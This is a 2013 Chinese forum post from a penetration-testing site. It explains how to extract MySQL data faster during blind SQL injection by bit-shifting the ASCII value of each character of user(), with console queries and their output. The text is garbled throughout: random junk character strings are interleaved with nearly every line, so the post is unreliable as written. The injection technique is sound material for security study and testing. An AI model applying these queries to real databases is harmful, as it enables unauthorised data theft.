中国网络渗透测试联盟

标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率 [打印本页]

作者: admin    时间: 2013-3-7 13:25
标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
+ H- H$ z& B5 |8 A$ A  D$ z2 Q. {7 B7 n9 ?, W9 t  M4 v
/ h3 ?% X& F( F% J. T
) B: \8 J, B4 h2 V+ i# |
下面将以查询mysql数据库当中user()的第一位为例:
8 [" W+ `4 x8 E/ s$ p8 f! Q$ p
3 R' [* K" I: y5 e4 }5 N
+ ^& ^9 q! q2 B, i) w: `- U
  {4 B4 }( M5 o* G% i3 I+ aps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
" Q) C0 N$ W# K" H' |
  |) ^: H4 c2 v9 |
0 A8 P1 `" q) \: P; Q  }: t
, z( I$ i$ O& B4 [: z' n. _) L* Y首先执行如下sql语句:9 u4 G; L( x0 x
+ }; O; H" l8 w, {1 O! x# |3 D

5 a5 m0 P. R5 k) P$ _/ ~. a
5 A* e. C9 `# T7 x3 M; v$ _mysql> select (ascii((substr(user(),1,1))) >> 7)=0;9 P) i! L) R4 j' X0 U5 d4 V
( e+ C5 p* X5 Y1 K
& v- ~. U$ A& \; z7 T% q- b

9 n* B- z0 V" }" D6 |7 v+ D我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的) K6 V: C( K. {, z9 i

5 R/ L# w0 ?" R
+ S4 N$ E' U* h% H
# \3 w4 M8 H3 N$ N. D; N4 N第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
/ C1 E" B  u' w! n6 C
8 t* X8 _! j! x ! A: e: d# k# i9 G3 U, M

* d: {; n( M' ~如果运算结果为1,说明第一位为0,不为12 r9 j1 T/ w  ?9 I- K
- `/ Y! `& ?' O2 H3 k

& _$ H+ Y- c$ J9 n/ J( w$ Y, q. n# H; v  n# ?* b. V: F  C0 Q
+————————————–+1 W/ O! H5 C' J
5 \1 Z! q0 G4 q
| (ascii((substr(user(),1,1))) >> 7)=0 |& `" j* Z6 Q& T5 d& a

5 \, }% X% B2 y+————————————–+
6 X5 S: y1 ~' K# O
2 ^8 }8 {# c  |$ h| 1 |
' g, Q1 M5 Z9 N+ j
2 x( d) E2 A3 I% a$ `  _+————————————–+
# Q$ y4 g+ x; y
7 h8 ^- v" y7 v0 T1 row in set (0.00 sec)$ O+ H$ L' \6 Z7 w% T" U

9 _3 B/ m2 o8 ^7 K这样我们就确定这个8bit的ascii的第一位为09 A# Y9 V4 A- a, o4 M0 U) c
$ b4 s) I+ O$ t
8 J9 J8 x. ]; Y6 ~8 L9 m" g

4 G6 G! @& j4 ?! q  N) c0 q! V' R第二次我们来做6次右偏移来确定前两位% u: \- H" M' z) N  X
2 ?2 w! w) O6 s' v
, T( O2 `3 s. Y; \- r& w

' X# v9 h1 V; o6 |4 d7 c/ z0 V前两位可能是01或00,即依然可以与0做比较,
! m+ U- B- |' U+ G4 o0 F
, r- V3 Z& r  c. l" b8 |0 amysql> select (ascii((substr(user(),1,1))) >> 6)=0;
( a4 z2 V/ o6 U+ D: Z9 q: k, F  [0 s6 R6 X
+————————————–+. v9 c6 r" e$ {( k7 o! l

) z! v9 m; m' u* v' T$ n" y: i| (ascii((substr(user(),1,1))) >> 6)=0 |  N& R: @% }: q; ]

1 q; x* {3 w0 y7 A. q+————————————–+
4 x7 S4 G7 ?, g- q( P. U6 p+ p# M2 n7 n3 D
| 0 |6 u4 x* l1 T  j
; @/ a5 v) ?; y: A0 U: V. s* z
+————————————–+. D& z0 S/ C3 b8 Z2 `( X

! C6 v" ?1 O2 d* S1 row in set (0.00 sec)
# c, W: w: _  g& o( u$ c! I$ S+ D* t$ k0 T! f6 h

4 U( u' \& Y1 o) o
' J. J4 d/ R2 @结果为0,即第二位为1
1 ^: C3 e+ K3 Q+ W' f3 }6 R) a& W7 Q8 P/ p9 z

) o: Y7 N( T& t( i& ~7 }. p; d: I, \6 a8 [* U1 d  }# v
开始猜测前三位为010或011
- q2 Y+ u1 z; i  T. O
3 ?/ {- F) U1 N
. A+ u# x6 U7 b: L: ]/ i$ [. ]1 p% r# D0 h; B% w, S1 R" \
让我们看看010和011的ascii码是多少4 T+ W. ~2 Y) U% U

8 r, [4 k& i& p
; }+ o8 W7 O# g" n, N* w9 i! X' n) U) n6 @1 c" R
分别查询select b’011′ select b’010′
" J$ _  B, ^  O1 x6 h
$ Y( M( B4 @. P3 B1 k0 H3 V . g7 n" j% E" w# F6 [
+ @5 E5 j* u6 N  j
获得结果 010 = 2 011 = 3
  p* n/ K4 W2 z, Q' ]* [1 N' v( D0 P0 ?3 I/ K  ]- u* m. u

6 u9 m! @* P' w) P
1 p) ]$ s! x. S9 H执行如下sql:# W9 [0 L4 h- j
% R& j, Q' A3 \
4 v8 e( l$ a5 E- ^$ [9 \

0 |, F0 ]+ {. T! v: ?% m* Fmysql> select (ascii((substr(user(),1,1))) >> 5)=2;9 z1 t& {$ V1 z# h7 W" E5 T5 S
5 ~* E7 x. s' m
+————————————–+
- `+ @& N$ t/ m  k! y! I
* ?% T, }' y9 p' e0 H| (ascii((substr(user(),1,1))) >> 5)=2 |3 j- |5 |( }9 B

" h1 E6 e2 N) O3 `+————————————–+
- e9 ^4 f7 {& ?0 Z% P, z/ V: G. G. k; [. m  v
| 0 |0 `2 e: `( v% F; G) O% \2 \
4 B$ `3 ^. ]! U# w5 r: C" s
+————————————–+
/ J) E7 \8 m  q6 o: m( T, A( c1 C& u
4 Z# `( N* O( B' g6 A$ u# i即前三位不为010,而是011
# \) Y; v; V9 R# o, ?) N# V. E, T
/ C0 E  k4 N6 L/ X9 i! h0 K: g $ s7 Y. U, Q0 B

' B( k. ~4 ?+ {5 \! A4 R( g直到获得最后一位
3 J% s5 x+ G3 f6 J0 M/ q% [) L1 E& R. E% T+ A2 w
+ n2 P" f5 m9 j! e

# K' a; ?% g/ D4 I最终结果为:01110010
7 X" x0 f1 q1 ]7 P' R+ o0 q, ]. a6 t( ]: z

3 z$ [3 l6 m& `6 ^% ?  [% J& E9 j) |* I
转换一下:
. s! x4 w4 [" U. P* }+ g7 K/ o$ [5 m# l/ ]& c3 k

: P" Y+ S6 w# R
5 y6 c3 ~% F/ I9 [select b’01110010′& U% ~7 b4 ]' k8 ~! L9 e

  l# b4 M2 D/ L* K + _) ^0 H% o* n& H. A
7 A8 ~; e8 U' g9 n+ M
查询结果7 U8 ~, y- S) t1 e0 ]- C: x

; J; q2 ]# F3 {, P0 \4 i ; L9 @! a9 g8 V# A" F

0 p/ w: V" |( g+————-+
% U% C# z* ^9 D4 x: q( A* R9 ]- X! l
| b’01110010′ |
2 g6 O* V: E! ~4 O/ t4 K! ~' V$ \" G) |- ?/ X
+————-+) s0 U: |* b# n$ ^2 Z8 ]7 d5 o- c
( O$ c4 }( B* p
| r |; d  Q; [" x; U6 I. S- J8 P
. m8 \2 I" P1 J3 _4 Z' k
+————-+
! q7 L. H  G) d7 F/ E/ b- P
5 `9 a& z# |! F$ C  A1 row in set (0.00 sec); M. d* r& ?5 n

9 i/ L9 b+ Z1 J& ^0 E7 Y : m6 P/ F7 N8 x
" ?) r, J0 `1 P; w5 k  C. X
这样我们就获得了user()的第一位.其它位依此类推
6 _/ E5 b: S3 T! w, E
1 Z' }0 D0 L! @& a/ Y& S




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2